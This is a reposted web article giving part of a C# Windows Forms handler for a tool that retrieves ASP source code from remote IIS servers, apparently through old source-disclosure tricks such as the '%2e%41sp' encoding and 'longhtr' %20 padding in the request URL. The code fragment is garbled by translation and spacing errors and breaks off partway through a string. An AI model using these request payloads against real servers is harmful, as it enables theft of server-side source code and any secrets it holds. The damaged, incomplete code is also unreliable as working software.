An application that uses c # to scan asp Source code vulnerabilities

Source: Internet
Author: User
// Main method
Protected void btnGo_Click (object sender, System. EventArgs e)
{
// Parse the url
String strServer = this.txt Server. Text;
String strUrl = this.txt FileName. Text;
Char [] point = {'.'}; // defines the delimiter "."
Char [] line = {'/'}; // defines the delimiter "."
String [] arrString = strUrl. Split (line );
// Obtain the full name of the asp file
String strFileName = arrString [arrString. Length-1];
// Find the path from the root directory
String strPath = strUrl. Substring (0,
StrUrl. Length-strFileName. Length );
// Parse the full name of the file
ArrString = strFileName. Split (point );
// Obtain the file extension.
String strLast = arrString [arrString. Length-1];
// Calculate the file name
String strFirst = strFileName. Substring (0,
StrFileName. Length-strLast. Length-1 );

// Invalidate buttons and input boxes
This.txt Server. ReadOnly = true;
This.txt FileName. ReadOnly = true;
This. btnClear. Enabled = false;
This. btnGo. Enabled = false;
If (this.txt Server. Text = "http: //" | this.txt FileName. Text = ""
| This.txt Server. Text. Trim () = "" |
This.txt Server. Text. Substring (0, 7 )! = "Http ://")
{
MessageBox. Show ("Enter the correct host name and file name! ");
This.txt Server. Focus ();
}
Else
{
This.txt Result. Visible = true;
This.txt Result. ReadOnly = true;
This. barStatus. Text = "connecting host... ";
String strRequestFile;
Switch (this. cboMethod. SelectedIndex)
{
Case 0: // read directly
StrRequestFile = strServer + strUrl;
Break;
Case 5: // % 2e % 41sp
StrRequestFile = strServer + strPath + strFirst
+ "% 2e % 41sp ";
Break;
Case 8: // longhtr
StrRequestFile = strServer + strUrl
+ "+ % 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%"
+ "20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%"
+ "20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20"
Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.